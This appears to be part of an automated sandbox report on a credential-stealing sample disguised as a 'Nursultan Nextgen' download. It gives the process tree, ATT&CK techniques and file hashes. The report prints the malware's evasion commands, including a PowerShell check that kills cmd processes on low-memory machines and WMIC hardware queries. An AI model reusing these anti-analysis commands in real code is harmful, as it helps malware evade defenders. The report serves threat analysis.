- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer /value
    3⤵
    PID:3092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious behavior: EnumeratesProcesses
  PID:3184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "if((gcim Win32_PhysicalMemory | measure -Property capacity -Sum).sum /1gb -lt 4) {spps -f -n 'cmd' -ErrorAction SilentlyContinue;exit 1}"
  2⤵
  - Hide Artifacts: Ignore Process Interrupts
  PID:3480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic computersystem get manufacturer /value
  2⤵
  PID:3724
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic computersystem get manufacturer /value
    3⤵
    PID:3760
- C:\Windows\system32\rundll32.exe
  rundll32
  2⤵
  PID:3944
- C:\Windows\system32\timeout.exe
  timeout /T 10 /NOBREAK
  2⤵
  - Delays execution with timeout.exe
  PID:3904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Ignore Process Interrupts

T1564.011

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\activity-stream.discovery_stream.json.tmp

Filesize
26KB

MD5
2463ff2c5b03745c4f3548f1439bf956

SHA1
3c980a44c2da9aa55c39ebc135dcc1f34ceebc47

SHA256
2e3a4f785dd652c8f110ed791d90111c8dbd66989d34e85d273cdd81a196fb9c

SHA512
6e1c88051590956c6b9481b1faaa152517fc908e14dae38bfec0a9b1fcbdce91a1ba1d89b0105d93f127764d8f11d7ad8f85ee4b77ec7c590a4cb131fd6df144

Download Submit
C:\Users\Admin\AppData\Local\Temp\RAR57F8IF\optionsof.exe

Filesize
100KB

MD5
699919d1930928569bb6881624194ff9

SHA1
e6c8548c58919b45c180930174a2c0d9ec5bee79

SHA256
e57dff4b56657600de71ac5be3632fc91753494200a336d7cb56f726f89936c5

SHA512
ab75fad191ac7b342cb54ffa91fd46ef4f20c8317779bce934e58300929f14ef5884f3ec14af9615f3d789447f355d5b56b26bd826fc35217ad949ba18800a7c

Download Submit
C:\Users\Admin\AppData\Local\Temp\java.rar

Filesize
2.1MB

MD5
1c7981416528d70a0e159d257c503547

SHA1
23011558c9fdcb40b7cc7f9d8652ca05e38a8757

SHA256
4303939f12fefecf04f2fca4c1b5ea2374b97e287370e140f618ace6e685fef3

SHA512
7412292ba9d938c90ce4b3044763145708cf40943d169ce575f09710853468bae3298e22002b22a9823fe89db7fcf09e05e3e37047c803b7d2aab2fcb800e016

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon

Filesize
442KB

MD5
85430baed3398695717b0263807cf97c

SHA1
fffbee923cea216f50fce5d54219a188a5100f41

SHA256
a9f4281f82b3579581c389e8583dc9f477c7fd0e20c9dfc91a2e611e21e3407e

SHA512
06511f1f6c6d44d076b3c593528c26a602348d9c41689dbf5ff716b671c3ca5756b12cb2e5869f836dedce27b1a5cfe79b93c707fd01f8e84b620923bb61b5f1

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpaddon-1

Filesize
8.0MB

MD5
a01c5ecd6108350ae23d2cddf0e77c17

SHA1
c6ac28a2cd979f1f9a75d56271821d5ff665e2b6

SHA256
345d44e3aa3e1967d186a43d732c8051235c43458169a5d7d371780a6475ee42

SHA512
b046dd1b26ec0b810ee441b7ad4dc135e3f1521a817b9f3db60a32976352e8f7e53920e1a77fc5b4130aac260d79deef7e823267b4414e9cc774d8bffca56a72

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4656e01004087265390b940ac99861a7

SHA1
cae08b13669a3353285a124a95ea2e133e32bb31

SHA256
c5feb1eda5a1ad7661682d0747f20db921fc33750f49588f6d201de4fc322e67

SHA512
32b73b9418911943fa8580ed0f2bcaf5c8093f5902c6adedd3d5be335082ddd370712ffa641c2d5c5479b5b8f8082afd2dda254ae8d01f6c021535c9e7827ef3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\cookies.sqlite

Filesize
512KB

MD5
2eb331e1c6bb13b680ee79866a7c89a6

SHA1
c2d0f866353e6abafa57fc93ea1b1ee9809fc16e

SHA256
da7f8f2cd389830d8d1ce44ebbb568a544561bb61ff388c9ef138cecbe065131

SHA512
42c0d56aac87f1e5dcb4aafc59a4024422b3db51b56bcae77af2aee815f4d7f17f3b0f7fe7472882aa3cd486b10bddb782702ffb4d9cc40435848f2e3601dca0

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\db\data.safe.bin

Filesize
2KB

MD5
177a44c313a91cb7d6732e8bb70c8c0e

SHA1
b0a3f814cb1828e7b083eda8d4d46914d35255b5

SHA256
518ebbf165b2b4eb7fea85b2c1c802e46c4df84f857ea79debe4e32fdd1ba0ae

SHA512
2ed3290421c5f0242184b896f491546116417bbf00a005f9a2ca7a27087d202e26db40dafcd3edb3232b104dd3c05e5129b0327e45b8f2d107883ea32b6af5ea

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\pending_pings\d7540ac1-9db4-4e9b-aca9-a13fcc8d0d8b

Filesize
745B

MD5
28888464351a474252805cc8c7e17547

SHA1
7cd8a9bbd48c1afc0133be42e29467214648b4f2

SHA256
d10a773440842e0f25a978f1851304f47b4c48566e67a7bbef1ff9665c0af813

SHA512
b210f4a541c6073730e0fbbb6d59e6efee62429282e55d5b9dd991935dbfc6bfa13c63f8c74e33b6c4f9f463c184e4fbc17c0e458312484ee63ce7a6bc2b23f6

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\datareporting\glean\pending_pings\eab347cf-2a95-4bb9-8fa3-9a281ba0128b

Filesize
12KB

MD5
7929e4870e7e06c4df2b64592d450371

SHA1
cf06921abb9fb4e3de09d709e4b5aaefa69dd975

SHA256
368e4f92dfa43f0a3f5531ca49acceeb3b426687c7c8669cdc07357a045e7e54

SHA512
f442253a78f47ee4739aeec8bda9627fc92f961383d0b57ec593366f2c4725d8827b403b6217ca620d3265efcb8acfe594943d25822bde954ad5e48ad70444e1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\favicons.sqlite-wal

Filesize
256KB

MD5
004539e9107ee99a4041c0f7f1f78d40

SHA1
bd20fea1bf9835b0b23d7ad1ec922d9552e958f2

SHA256
17f9bc7cc697dfbb59861e4e8f5c2b045d022db18214808b5486985a20566e7c

SHA512
b959f607ba8a480610d517bc5e917d725a320200a0d279ed804b1b456bec69fc6a22f2359efa3bdfe43473f88b46479f89c2b94da850c580036ee54f64d6555b

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll

Filesize
997KB

MD5
fe3355639648c417e8307c6d051e3e37

SHA1
f54602d4b4778da21bc97c7238fc66aa68c8ee34

SHA256
1ed7877024be63a049da98733fd282c16bd620530a4fb580dacec3a78ace914e

SHA512
8f4030bb2464b98eccbea6f06eb186d7216932702d94f6b84c56419e9cf65a18309711ab342d1513bf85aed402bc3535a70db4395874828f0d35c278dd2eac9c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info

Filesize
116B

MD5
3d33cdc0b3d281e67dd52e14435dd04f

SHA1
4db88689282fd4f9e9e6ab95fcbb23df6e6485db

SHA256
f526e9f98841d987606efeaff7f3e017ba9fd516c4be83890c7f9a093ea4c47b

SHA512
a4a96743332cc8ef0f86bc2e6122618bfc75ed46781dadbac9e580cd73df89e74738638a2cccb4caa4cbbf393d771d7f2c73f825737cdb247362450a0d4a4bc1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\LICENSE.txt

Filesize
479B

MD5
49ddb419d96dceb9069018535fb2e2fc

SHA1
62aa6fea895a8b68d468a015f6e6ab400d7a7ca6

SHA256
2af127b4e00f7303de8271996c0c681063e4dc7abdc7b2a8c3fe5932b9352539

SHA512
48386217dabf7556e381ab3f5924b123a0a525969ff98f91efb03b65477c94e48a15d9abcec116b54616d36ad52b6f1d7b8b84c49c204e1b9b43f26f2af92da2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\manifest.json

Filesize
372B

MD5
8be33af717bb1b67fbd61c3f4b807e9e

SHA1
7cf17656d174d951957ff36810e874a134dd49e0

SHA256
e92d3394635edfb987a7528e0ccd24360e07a299078df2a6967ca3aae22fa2dd

SHA512
6125f60418e25fee896bf59f5672945cd8f36f03665c721837bb50adf5b4dfef2dddbfcfc817555027dcfa90e1ef2a1e80af1219e8063629ea70263d2fc936a7

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll

Filesize
11.8MB

MD5
33bf7b0439480effb9fb212efce87b13

SHA1
cee50f2745edc6dc291887b6075ca64d716f495a

SHA256
8ee42d9258e20bbc5bfdfae61605429beb5421ffeaaa0d02b86d4978f4b4ac4e

SHA512
d329a1a1d98e302142f2776de8cc2cd45a465d77cb21c461bdf5ee58c68073a715519f449cb673977288fe18401a0abcce636c85abaec61a4a7a08a16c924275

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.lib

Filesize
1KB

MD5
688bed3676d2104e7f17ae1cd2c59404

SHA1
952b2cdf783ac72fcb98338723e9afd38d47ad8e

SHA256
33899a3ebc22cb8ed8de7bd48c1c29486c0279b06d7ef98241c92aef4e3b9237

SHA512
7a0e3791f75c229af79dd302f7d0594279f664886fea228cfe78e24ef185ae63aba809aa1036feb3130066deadc8e78909c277f0a7ed1e3485df3cf2cd329776

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\gmp-widevinecdm\4.10.2557.0\widevinecdm.dll.sig

Filesize
1KB

MD5
937326fead5fd401f6cca9118bd9ade9

SHA1
4526a57d4ae14ed29b37632c72aef3c408189d91

SHA256
68a03f075db104f84afdd8fca45a7e4bff7b55dc1a2a24272b3abe16d8759c81

SHA512
b232f6cf3f88adb346281167ac714c4c4c7aac15175087c336911946d12d63d3a3a458e06b298b41a7ec582ef09fe238da3a3166ff89c450117228f7485c22d2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\places.sqlite-wal

Filesize
1.2MB

MD5
44826451dbf9f98d80e72afa626ea36e

SHA1
40a92d5a90d4bc48cbb7d26fe1f13647573b6295

SHA256
167f9635ec17d352ded03b6b9ed3dcec650d9bdb259b4cb2450de656e699da42

SHA512
244df2d2f06af6de8697d4cd64cb88569b17d74412131ce628e84edaad9c11fce40d64800ee4bc8b42d37ad7d89a94f16f0fcbdeaac168eb0c0246bdbe58b5de

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

Filesize
6KB

MD5
ea7b7da848c054345fdfebfa74fb5555

SHA1
73b1792a21a8bbaa9690cccb4eb8cc4029b262f6

SHA256
1df97a45987c1ee8ae7ca3447361918d3a078aaf3e28302a64b61889c1fe99d9

SHA512
867479114309336290cd05646699f3d11ff9c01807ee1451488b909cfe2d4901fc0cbbde9c6998b82f7a1bff87051505d8c84f3ee00100bce83a151c0d0d4d5a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

Filesize
7KB

MD5
2f5b5eea3d0659971bc90e709a60fe2a

SHA1
401111819e4d705ed37213281441f25d4182d466

SHA256
5391e27690c37b8c239f604a8690f63db3d4e496eac4eb8c7f363cbd5add803e

SHA512
5b812e818bd716d1d91bf61e1cd6f6aa3b1d05060e7c0887e1c1c84ec6d3204b0f9421b335e3bbfde0dd2107b880e34f124915d5e9141b784e2e38a2a52ef58f

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\prefs-1.js

Filesize
6KB

MD5
a41a3b331976e53b4d4f8b420e41dee5

SHA1
6882ee7fca75c1043e54e9a22f002d023aa18045

SHA256
afb1258c8ce49b0694c37df0d532232b4bdd33b89552520b2d3b6668d07deb2e

SHA512
99dbc97853c910e22d9027b89c2aea1c45c69ea488d2304320efd6a93fe703117fc24c2f99cad6d896a0fe17e246d037b97dda33ee88b6676253b969479b8482

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
2KB

MD5
c0bef5a9097999e80036af86560409c4

SHA1
cc142a16b68d79a16ad65c02d77bc110c3b83bbf

SHA256
56f30c4a1abe4f0d77ffa50408251cbddbd28953bf45666ad2aa9f079ce66f38

SHA512
c0d74dd2b9c0c35cb4d54cec4a30f3b473ff2c27d29b77ba3d6488150049750a469ed5c936a257edf40845d600e83bd978a5be7e834733cbcc69220bf336fca2

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\9tg2k5l8.default-release\sessionstore-backups\recovery.jsonlz4

Filesize
2KB

MD5
cb421a8b2384c2548c06a99ce268fea4

SHA1
f0a705340186c13ed1ef531018a7106c73c2c789

SHA256
77522bbdaec20deba8e0f7ad90dcbacb06eda0d0105acb9c9c0d75c45e45335d

SHA512
bc78188725c1b2d72bd1594f6ea401ba3f7668678013598564ed19dd9fb77e730b8d7d7b39d9f5d3168bbf1069e784a7bdc59af3f5abe9212c485d16812ae08b

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen.8J4q5XeX.zip.part

Filesize
7KB

MD5
cd64feb52d285ab581ce86b4f51bb733

SHA1
2d34896ddd4fe93a0ae227fef61d8ea206d3bd90

SHA256
002ac91ca7fd3a61df8f16b391d7f3d52e8feaf54bdbc412e1eff385516837b4

SHA512
8dad1768fd8f02849e0341a58ced812d21df6ecb45bcb8278ccb74b8239adffa1410e2ad0d0226fa307c7f808b22e22d01324a6a2e608c367e23cc847844cd0f

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotDEbKM.bat

Filesize
199B

MD5
d4cfcc8678f1146f950256544526e904

SHA1
be5dc5e55d45f7c4e03ad97b249417b578bb66dc

SHA256
d37d5d727b74d52490b36daa54023ab8bac4eef33b19075bc7119e1dfe2a7622

SHA512
f7707e76ca57983e807b0c2f35547d12d9900e64d91d642c26849e3feff624ecb740c982fccfc9c9b2c6ff13db6f78024dc31887792a68bc3545ff47d3548172

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotYKoIC.bat

Filesize
13B

MD5
337065424ed27284c55b80741f912713

SHA1
0e99e1b388ae66a51a8ffeee3448c3509a694db8

SHA256
4ef6f5f73f87cd552bf0dceb245365c44996f94eb72aeb2ccefe440fe055043b

SHA512
d9290f0aa33e11da2ec88165b8133623e3f1633a9df8f477dfab395f655dc9a1d2dc82e8eae1d8eeae950ea2dd1e08054e1b258a0f2a0b4d4ca124db08e42e5a

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\kdotYKoIC.bat

Filesize
108B

MD5
93c470b882d14fb4b0e35782c8adcafb

SHA1
32e859babb611526ac3dcc169f0e697991aa713f

SHA256
08ab5b4988d4d770c2ace45f65102d5334731e1e62bcb9f95dbbf0876a785a2e

SHA512
44fb6cc0d9cf99cfab6fa78a5ef39bf896aed83d47d21997b717e78bf7cc44fb54c3e3f40761a66b861d39e4762cfda88328bbfad688b499c0d47a04c8fa2a13

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\start.bat

Filesize
330KB

MD5
4d51a6fcf1d1e0fbd616656feb5641f8

SHA1
c7cac69757bea9e7c820fce38f37d70ff08c146f

SHA256
2613a7f261d596639b1841cc59877b33d5027236b89ae6121f972625a504c48c

SHA512
7d06aebef47071ad253dffda6859849c9c473ba7b7a13079dfb0d758c9b4a468f875921993ae37d4cc5b1be5158102f263f29f1b04a2f84e0adef4f8b712650e

Download Submit
C:\Users\Admin\Downloads\Nursultan_Nextgen\Инструкция.txt

Filesize
394B

MD5
cf4c115fdd9d61fe91dd824a232717cc

SHA1
187f515139a3a9c4dd178fd72a1b9055c2438fb5

SHA256
1b20ae7074dbd71cdaad0c039538ea9fdabceaf1e54867d4e361aa2d576c1354

SHA512
96fb5ada5aa5c0cd49045f86847d519b3652093e32eb39dab2266b5b5ed89ecbd05f3708f34efbbf8240f73ec13dc01d23da04be45f6bdbcc08da9de3ed05c39

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\RAR57F8IF\java8-update.exe

Filesize
2.5MB

MD5
c9a04bf748d1ee29a43ac3f0ddace478

SHA1
891bd4e634a9c5fec1a3de80bff55c665236b58d

SHA256
a6ce588a83f2c77c794e3584e8ac44e472d26cf301bb2bf0468bcabae55070bc

SHA512
e17edb74f5cb4d8aabb4c775ec25a271f201da3adcb03541b1919526c0939694a768affc21c3066327e57c13bc9bb481074e51e4e78867df847b26f063b4c115

Download Submit
\Users\Admin\Downloads\Nursultan_Nextgen\Nursultan Nextgen\assets\UnRAR.exe

Filesize
494KB

MD5
98ccd44353f7bc5bad1bc6ba9ae0cd68

SHA1
76a4e5bf8d298800c886d29f85ee629e7726052d

SHA256
e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b

SHA512
d6e8146a1055a59cba5e2aaf47f6cb184acdbe28e42ec3daebf1961a91cec5904554d9d433ebf943dd3639c239ef11560fa49f00e1cff02e11cd8d3506c4125f

Download Submit
memory/864-2867-0x0000000001040000-0x0000000001060000-memory.dmp

Filesize
128KB

Download
memory/2040-2706-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2040-2705-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2464-2723-0x000000001B580000-0x000000001B862000-memory.dmp

Filesize
2.9MB

Download
memory/2464-2724-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download